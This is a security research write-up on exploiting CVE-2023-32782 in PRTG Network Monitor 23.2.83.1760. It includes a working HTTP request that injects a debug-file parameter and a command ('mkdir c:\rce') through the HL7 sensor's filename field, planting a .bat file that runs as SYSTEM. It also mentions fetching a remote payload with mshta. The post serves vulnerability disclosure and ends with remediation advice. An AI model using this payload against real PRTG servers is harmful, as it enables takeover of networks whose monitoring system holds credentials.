PRTG Remote Code Execution - CVE-2023-32782
Introduction
This post details the process of exploiting CVE-2023-32782 in PRTG to gain remote code execution. PRTG Network Monitor, developed by Paessler, enables businesses to monitor their networks. It's commonly used in corporate networks and achieving Remote Code Execution (RCE) on this system can potentially compromise the entire organization, since it holds credentials for all network components.
Version exploited: 23.2.83.1760
The Vulnerability
PRTG's application has a sensor system for adding sensors to the network, a core function. This system could include a SQL Sensor to monitor the uptime or current load of your SQL Server. However, this means that PRTG contains credentials for all the systems it logs into, and all are run as SYSTEM
, an ideal target for RCE.
Most of these sensors are system binaries called upon running the sensor.
During testing, we found several vulnerabilities, but CVE-2023-32782 stood out. When configuring the HL7
sensor, we discovered that we could inject a parameter that was then set as parameters to the HL7Sensor.exe
binary.
This prompted us to ask: What parameters does the binary accept? - Running the binary showed some standard parameters without much use.
However, reverse engineering the binary revealed the -debug
flag, a hidden feature that allows us to specify a path where a debug file can be written. Further digging showed that this could be used to write into arbitrary folders.
We tested our hypothesis by injecting a -debug
flag through adding the sensor.
After running the sensor, we saw that the file c:\arbitrary.file
was correctly created in the folder we specified:
Reviewing this file's contents, we saw the following which indicates other parameters are outputted to the debug log file.
2023-11-02 07:27:42,244 [DEBUG] - Reading HL7 file: C:\\Program Files (x86)\\PRTG Network Monitor\\custom sensors\\hl7\\ADT_A08.hl7
2023-11-02 07:27:42,547 [DEBUG] - Sending Request
2023-11-02 07:27:42,549 [DEBUG] - MSH|^~\\&|test1|test2|lol|test4|202311022707||ADT^A08|599102|P|2.3||| EVN|A01|20050110045502|||||
PID|1||10006579^^^1^MRN^1||DUCK^DONALD^D||19241010|M||1|111 DUCK ST^^FOWL^CA^999990000^^M|1|8885551212|8885551212|1|2||40007716^^^AccMgr^VN^1|123121234|||||||||||NO
NK1|1|DUCK^HUEY|SO|3583 DUCK RD^^FOWL^CA^999990000|8885552222||Y||||||||||||||
2023-11-02 07:27:44,584 [ERROR] - Error: No connection could be made because the target machine actively refused it 127.0.0.1:104: No connection
The first thing we seemingly control is the filename ADT_A08.hl7
(which also contains a path traversal which is another CVE).
Looking further into how PRTG works, we found the following:
EXE/Script Sensor
...
The list contains all files in the corresponding \Custom Sensors\EXE subfolder
of the PRTG program directory on the probe system. For a file to appear in this
list, store the file ending in .bat, .cmd, .exe, .ps1, or .vbs into this subfolder.
In simpler terms, if we can write a file to one of those paths and control some of the contents, we can achieve remote code execution.
Therefore our goal is to write a file to C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\\EXE
.
Generous .bat files
One significant challenge was that the file we write is a debug log file, which contains a lot of extraneous information. However, PRTG accepts .bat
files, which are forgiving. Syntax errors are discarded, and valid bits are run.
So if we modify our payload from the previous values to the following payload, where we set the hl7
filename as the command injection mkdir c:\rce
POST /addsensor5.htm HTTP/1.1
Host: 127.0.0.1
..SNIP
..SNIP
------WebKitFormBoundaryJqI3G0KKzuuwgmhf
Content-Disposition: form-data; name="recvfac_"
test4" -debug="C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\EXE\exploit.bat" -recvapp="test
------WebKitFormBoundaryJqI3G0KKzuuwgmhf
Content-Disposition: form-data; name="hl7file_"
ADT_& mkdir c:\\rce & A08.hl7|ADT_& mkdir c:\\rce & A08.hl7||
After running the payload, we run the HL7Ssensor. What happens behind the scenes is the parameter injection is exploited and the file exploit.bat
is correctly written into our target folder: C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\EXE\exploit.bat
Since exploit.bat
is now in the correct folder, we can go to the EXE/Script Sensor
and see our payload as a valid choice in the list:
The contents of exploit.bat
is the following:
2023-11-02 07:38:14,111 [DEBUG] - Reading HL7 file: C:\Program Files (x86)\PRTG Network Monitor\custom sensors\hl7\ADT_& mkdir c:\rce & A08.hl7
2023-11-02 07:38:14,122 [ERROR] - Error: The given path's format is not supported.: The given path's format is not supported.
System.NotSupportedException: The given path's format is not supported.
at System.Security.Permissions.FileIOPermission.EmulateFileIOPermissionChecks(String fullPath)
...snip
Now all we have left is creating the EXE/Script Sensor
and choosing exploit.bat
. When running this sensor, it correctly runs our payload mkdir c:\rce
as SYSTEM
Cool but where is the shell?
While running mkdir
isn't the most interesting, it serves as a proof of concept. In our real-world scenario, we ran mshta
with a custom url. This fetched a python payload that could be run using PRTG
's bundled python interpreter.
Remediation
You can resolve this by upgrading to the latest version available on Paessler PRTG's release site.